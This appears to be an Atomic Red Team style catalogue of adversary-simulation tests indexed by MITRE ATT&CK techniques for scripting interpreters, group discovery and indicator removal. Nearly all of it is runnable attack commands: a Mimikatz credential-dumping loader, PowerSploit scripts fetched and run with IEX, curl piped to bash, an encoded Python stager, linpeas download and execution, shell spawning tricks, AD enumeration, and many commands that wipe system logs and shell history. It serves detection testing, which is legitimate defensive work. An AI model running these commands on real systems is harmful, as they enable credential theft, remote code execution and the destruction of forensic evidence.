$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr

T1059.001 - Command and Scripting Interpreter: PowerShell

Invoke-AppPathBypass

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"

T1059.001 - Command and Scripting Interpreter: PowerShell

Powershell MsXml COM object - with prompt

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

T1059.001 - Command and Scripting Interpreter: PowerShell

Powershell XML requests

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml');$Xml.command.a.execute | IEX"

T1059.001 - Command and Scripting Interpreter: PowerShell

Powershell invoke mshta.exe download

C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()"

T1059.001 - Command and Scripting Interpreter: PowerShell

Powershell Invoke-DownloadCradle

{MISSING IN ATOMIC RED TEAM}

T1059.001 - Command and Scripting Interpreter: PowerShell

PowerShell Fileless Script Execution

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

T1059.001 - Command and Scripting Interpreter: PowerShell

NTFS Alternate Data Stream Access

Add-Content -Path $env:TEMP\NTFS_ADS.txt -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path $env:TEMP\NTFS_ADS.txt -Stream 'streamcommand'
Invoke-Expression $streamcommand

T1059.001 - Command and Scripting Interpreter: PowerShell

PowerShell Session Creation and Use

New-PSSession -ComputerName $env:COMPUTERNAME
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

T1059.001 - Command and Scripting Interpreter: PowerShell

ATHPowerShellCommandLineParameter -Command parameter variations

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType Hyphen -CommandParamVariation C -Execute -ErrorAction Stop

T1059.001 - Command and Scripting Interpreter: PowerShell

ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType Hyphen -CommandParamVariation C -UseEncodedArguments -EncodedArgumentsParamVariation EA -Execute -ErrorAction Stop

T1059.001 - Command and Scripting Interpreter: PowerShell

ATHPowerShellCommandLineParameter -EncodedCommand parameter variations

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType Hyphen -EncodedCommandParamVariation E -Execute -ErrorAction Stop

T1059.001 - Command and Scripting Interpreter: PowerShell

ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType Hyphen -EncodedCommandParamVariation E -UseEncodedArguments -EncodedArgumentsParamVariation EncodedArguments -Execute -ErrorAction Stop

T1059.001 - Command and Scripting Interpreter: PowerShell

PowerShell Command Execution

powershell.exe -e JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==

T1059.001 - Command and Scripting Interpreter: PowerShell

PowerShell Invoke Known Malicious Cmdlets

$malcmdlets = "Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword", "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot", "Get-VaultCredential", "Get-VolumeShadowCopy", "Install-SSP", "Invoke-CredentialInjection", "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan", "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode", "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy", "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy", "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump", "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy", "Set-CriticalProcess", "Set-MasterBootRecord"

foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}

T1059.001 - Command and Scripting Interpreter: PowerShell

PowerUp Invoke-AllChecks

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks

T1059.001 - Command and Scripting Interpreter: PowerShell

Abuse Nslookup with DNS Records

# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]

T1059.001 - Command and Scripting Interpreter: PowerShell

SOAPHound - Dump BloodHound Data

T1059.001\bin\SOAPHound.exe --user $env:USERNAME --password P@ssword1 --domain $env:USERDOMAIN --dc 10.0.1.14 --bhdump --cachefilename c:\temp\cache.txt --outputdirectory c:\temp\test2

T1059.001 - Command and Scripting Interpreter: PowerShell

SOAPHound - Build Cache

T1059.001\bin\SOAPHound.exe --user $($env:USERNAME)@$($env:USERDOMAIN) --password P@ssword1 --dc 10.0.1.14 --buildcache --cachefilename c:\temp\cache.txt

T1059.002 - Command and Scripting Interpreter: AppleScript

AppleScript

osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEsdGltZW91dD0zKS5yZWFkKCk7Cg=='));\\\" | python &\""

T1059.003 - Command and Scripting Interpreter: Windows Command Shell

Create and Execute Batch Script

Start-Process "..\ExternalPayloads\T1059.003_script.bat"

T1059.003 - Command and Scripting Interpreter: Windows Command Shell

Writes text to a file and displays it.

echo "Hello from the Windows Command Prompt!" > "%TEMP%\test.bin" & type "%TEMP%\test.bin"

T1059.003 - Command and Scripting Interpreter: Windows Command Shell

Suspicious Execution via Windows Command Shell

%LOCALAPPDATA:~-3,1%md /c echo Hello, from CMD! > hello.txt & type hello.txt

T1059.003 - Command and Scripting Interpreter: Windows Command Shell

Simulate BlackByte Ransomware Print Bombing

cmd /c "for /l %x in (1,1,75) do start wordpad.exe /p ..\ExternalPayloads\T1059_003note.txt" | out-null

T1059.003 - Command and Scripting Interpreter: Windows Command Shell

Command Prompt read contents from CMD file and execute

cmd /r cmd<"T1059.003\src\t1059.003_cmd.cmd"

T1059.003 - Command and Scripting Interpreter: Windows Command Shell

Command prompt writing script to file then executes it

c:\windows\system32\cmd.exe /c cd /d %TEMP%\ & echo Set objShell = CreateObject("WScript.Shell"):Set objExec = objShell.Exec("whoami"):Set objExec = Nothing:Set objShell = Nothing > AtomicTest.vbs & AtomicTest.vbs

T1059.004 - Command and Scripting Interpreter: Bash

Create and Execute Bash Shell Script

sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
sh -c "echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh"
chmod +x /tmp/art.sh
sh /tmp/art.sh

T1059.004 - Command and Scripting Interpreter: Bash

Command-Line Interface

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 - Command and Scripting Interpreter: Bash

Harvest SUID executable files

chmod +x T1059.004/src/AutoSUID.sh
bash T1059.004/src/AutoSUID.sh

T1059.004 - Command and Scripting Interpreter: Bash

LinEnum tool execution

chmod +x T1059.004/src/LinEnum.sh
bash T1059.004/src/LinEnum.sh

T1059.004 - Command and Scripting Interpreter: Bash

New script file in the tmp directory

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 - Command and Scripting Interpreter: Bash

What shell is running

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 - Command and Scripting Interpreter: Bash

What shells are available

cat /etc/shells

T1059.004 - Command and Scripting Interpreter: Bash

Command line scripts

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 - Command and Scripting Interpreter: Bash

Obfuscated command line scripts

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 - Command and Scripting Interpreter: Bash

Change login shell

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 - Command and Scripting Interpreter: Bash

Environment variable scripts

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 - Command and Scripting Interpreter: Bash

Detecting pipe-to-shell

cd /tmp
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh |bash
ls -la /tmp/art.txt

T1059.004 - Command and Scripting Interpreter: Bash

Current kernel information enumeration

uname -srm

T1059.004 - Command and Scripting Interpreter: Bash

Shell Creation using awk command

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 - Command and Scripting Interpreter: Bash

Creating shell using cpan command

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan

T1059.004 - Command and Scripting Interpreter: Bash

Shell Creation using busybox command

busybox sh &

T1059.004 - Command and Scripting Interpreter: Bash

emacs spawning an interactive system shell

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1059.005 - Command and Scripting Interpreter: Visual Basic

Visual Basic script execution to gather local computer information

cscript "T1059.005\src\sys_info.vbs" > $env:TEMP\T1059.005.out.txt

T1059.005 - Command and Scripting Interpreter: Visual Basic

Encoded VBS code execution

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"

T1059.005 - Command and Scripting Interpreter: Visual Basic

Extract Memory via VBA

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"

T1059.006 - Command and Scripting Interpreter: Python

Execute shell script via python's command mode arguement

which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh";malicious_command = "sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles";session = requests.session();source = session.get(url).content;fd = open("T1059.006-payload", "wb+");fd.write(source);fd.close();os.system(malicious_command)'

T1059.006 - Command and Scripting Interpreter: Python

Execute Python via scripts

which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > T1059.006.py
echo 'import os' >> T1059.006.py
echo 'url = "https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh"' >> T1059.006.py
echo 'malicious_command = "sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles"' >> T1059.006.py
echo 'session = requests.session()' >> T1059.006.py
echo 'source = session.get(url).content' >> T1059.006.py
echo 'fd = open("T1059.006-payload", "wb+")' >> T1059.006.py
echo 'fd.write(source)' >> T1059.006.py
echo 'fd.close()' >> T1059.006.py
echo 'os.system(malicious_command)' >> T1059.006.py
$which_python T1059.006.py

T1059.006 - Command and Scripting Interpreter: Python

Execute Python via Python executables

which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > T1059.006.py
echo 'import os' >> T1059.006.py
echo 'url = "https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh"' >> T1059.006.py
echo 'malicious_command = "sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles"' >> T1059.006.py
echo 'session = requests.session()' >> T1059.006.py
echo 'source = session.get(url).content' >> T1059.006.py
echo 'fd = open("T1059.006-payload", "wb+")' >> T1059.006.py
echo 'fd.write(source)' >> T1059.006.py
echo 'fd.close()' >> T1059.006.py
echo 'os.system(malicious_command)' >> T1059.006.py
$which_python -c 'import py_compile; py_compile.compile("T1059.006.py", "T1059.006.pyc")'
$which_python T1059.006.pyc

T1059.006 - Command and Scripting Interpreter: Python

Python pty module and spawn function used to spawn sh or bash

which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit

T1059.007 - Command and Scripting Interpreter: JavaScript

JScript execution to gather local computer information via cscript

cscript "T1059.007\src\sys_info.js" > %tmp%\T1059.007.out.txt

T1059.007 - Command and Scripting Interpreter: JavaScript

JScript execution to gather local computer information via wscript

wscript "T1059.007\src\sys_info.js"

T1059.010 - Command and Scripting Interpreter: AutoHotKey & AutoIT

AutoHotKey script execution

Start-Process -FilePath "$..\ExternalPayloads\ahk\AutoHotKeyU64.exe" -ArgumentList "T1059.010\src\calc.ahk"

T1059 - Command and Scripting Interpreter

AutoIt Script Execution

Start-Process -FilePath "C:\Program Files (x86)\AutoIt3\AutoIt3.exe" -ArgumentList "T1059\src\calc.au3"

T1069.001 - Permission Groups Discovery: Local Groups

Permission Groups Discovery (Local)

if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi;
if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi;
if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi;
if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi;
if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi;
cat /etc/group

T1069.001 - Permission Groups Discovery: Local Groups

Basic Permission Groups Discovery Windows (Local)

net localgroup
net localgroup "Administrators"

T1069.001 - Permission Groups Discovery: Local Groups

Permission Groups Discovery PowerShell (Local)

get-localgroup
Get-LocalGroupMember -Name "Administrators"

T1069.001 - Permission Groups Discovery: Local Groups

SharpHound3 - LocalAdmin

New-Item -Path "$env:TEMP\SharpHound\" -ItemType Directory > $null
& "..\ExternalPayloads\SharpHound.exe" -d "$env:UserDnsDomain" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "$env:TEMP\SharpHound\"

T1069.001 - Permission Groups Discovery: Local Groups

Wmic Group Discovery

wmic group get name

T1069.001 - Permission Groups Discovery: Local Groups

WMIObject Group Discovery

Get-WMIObject Win32_Group

T1069.001 - Permission Groups Discovery: Local Groups

Permission Groups Discovery for Containers- Local Groups

docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/
docker run --name t1069_container --rm -d -t t1069
docker exec t1069_container ./test.sh

T1069.002 - Permission Groups Discovery: Domain Groups

Basic Permission Groups Discovery Windows (Domain)

net localgroup
net group /domain
net group "enterprise admins" /domain
net group "domain admins" /domain

T1069.002 - Permission Groups Discovery: Domain Groups

Permission Groups Discovery PowerShell (Domain)

get-ADPrincipalGroupMembership $env:USERNAME | select name

T1069.002 - Permission Groups Discovery: Domain Groups

Elevated group enumeration using net group (Domain)

net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain

T1069.002 - Permission Groups Discovery: Domain Groups

Find machines where user has local admin access (PowerView)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose

T1069.002 - Permission Groups Discovery: Domain Groups

Find local admins on all machines in domain (PowerView)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose

T1069.002 - Permission Groups Discovery: Domain Groups

Find Local Admins via Group Policy (PowerView)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose

T1069.002 - Permission Groups Discovery: Domain Groups

Enumerate Users Not Requiring Pre Auth (ASRepRoast)

get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}

T1069.002 - Permission Groups Discovery: Domain Groups

Adfind - Query Active Directory Groups

"..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) None

T1069.002 - Permission Groups Discovery: Domain Groups

Enumerate Active Directory Groups with Get-AdGroup

Get-AdGroup -Filter *

T1069.002 - Permission Groups Discovery: Domain Groups

Enumerate Active Directory Groups with ADSISearcher

([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()

T1069.002 - Permission Groups Discovery: Domain Groups

Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

T1069.002 - Permission Groups Discovery: Domain Groups

Get-DomainGroupMember with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"

T1069.002 - Permission Groups Discovery: Domain Groups

Get-DomainGroup with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose

T1069.002 - Permission Groups Discovery: Domain Groups

Active Directory Enumeration with LDIFDE

ldifde.exe -f C:\Windows\temp\atomic_ldifde.txt -p subtree

T1069.002 - Permission Groups Discovery: Domain Groups

Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS

ldapsearch -H ldap://example.com:389 -x -D user@example.com -w s3CurePssw0rD! -b "CN=Users,DC=example,DC=com" "(objectClass=group)" -s sub -a always -z 1000 dn

T1070.001 - Indicator Removal on Host: Clear Windows Event Logs

Clear Logs

wevtutil cl System

T1070.001 - Indicator Removal on Host: Clear Windows Event Logs

Delete System Logs Using Clear-EventLog

$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list

T1070.001 - Indicator Removal on Host: Clear Windows Event Logs

Clear Event Logs via VBA

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "T1070.001\src\T1070.001-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

rm -rf

sudo rm -rf /var/log/system.log
if [ -d /var/audit ] ; then sudo rm -rf /var/audit/20220725213300.202208110700021 ; fi

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

rm -rf

rm -rf /var/log/messages
rm -rf /var/log/security

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete log files using built-in log utility

sudo log erase --all
sudo log erase --ttl #Deletes only time-to-live log content

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Truncate system log files via truncate utility

sudo truncate -s 0 /var/log/system.log #size parameter shorthand

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Truncate system log files via truncate utility (freebsd)

truncate -s 0 /var/log/messages #size parameter shorthand
truncate --size=0 /var/log/security #size parameter

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete log files via cat utility by appending /dev/null or /dev/zero

sudo cat /dev/null > /var/log/system.log #truncating the file to zero bytes
sudo dd if=/dev/zero bs=1000 count=5 of=/var/log/system.log #log file filled with null bytes(zeros)

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd)

cat /dev/null > /var/log/messages #truncating the file to zero bytes
cat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

System log file deletion via find utility

sudo find /var/log -name 'system.log*' -exec rm {} \; #using "rm" execution
sudo find /var/log -name "system.log.97.gz*" -exec shred -u -z -n 3 {} \; #using "shred" execution
sudo find /var/log -name "system.log.98.gz*" -exec unlink {} \; #using "unlink" execution

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Overwrite macOS system log via echo utility

sudo echo '' > /var/log/system.log

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Overwrite FreeBSD system log via echo utility

echo '' > /var/log/messages

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Real-time system log clearance/deletion

sudo log -f /var/log/system.log | : > /var/log/system.log

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system log files via unlink utility

sudo unlink /var/log/system.log

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system log files via unlink utility (freebsd)

unlink /var/log/messages

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system log files using shred utility

sudo shred -u -z -n 3 /var/log/system.log

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system log files using srm utility

sudo srm /var/log/system.log #system log file deletion
sudo srm -r /var/log/ #recursive deletion of log files

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system log files using OSAScript

osascript -e 'do shell script "rm /var/log/system.log" with administrator privileges'

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system log files using Applescript

osascript -e 'tell application "Finder" to delete POSIX file "/var/log/system.log"'

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Delete system journal logs via rm and journalctl utilities

sudo rm /var/log/journal/* #physically deletes the journal files, and not just their content
sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Overwrite Linux Mail Spool

echo 0> /var/spool/mail/root

T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

Overwrite Linux Log

echo 0> /var/log/secure

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Bash history (rm)

rm ~/.bash_history

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Bash history (echo)

echo "" > ~/.bash_history

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Bash history (cat dev/null)

cat /dev/null > ~/.bash_history

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Bash history (ln dev/null)

ln -sf /dev/null ~/.bash_history

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Bash history (truncate)

truncate -s0 ~/.bash_history

T1070.003 - Indicator Removal on Host: Clear Command History

Clear history of a bunch of shells

unset HISTFILE
export HISTFILESIZE=0
history -c

T1070.003 - Indicator Removal on Host: Clear Command History

Clear and Disable Bash History Logging

set +o history
echo 'set +o history' >> ~/.bashrc
. ~/.bashrc
history -c

T1070.003 - Indicator Removal on Host: Clear Command History

Use Space Before Command to Avoid Logging to History

hostname
whoami

T1070.003 - Indicator Removal on Host: Clear Command History

Disable Bash History Logging with SSH -T

sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Docker Container Logs

docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log

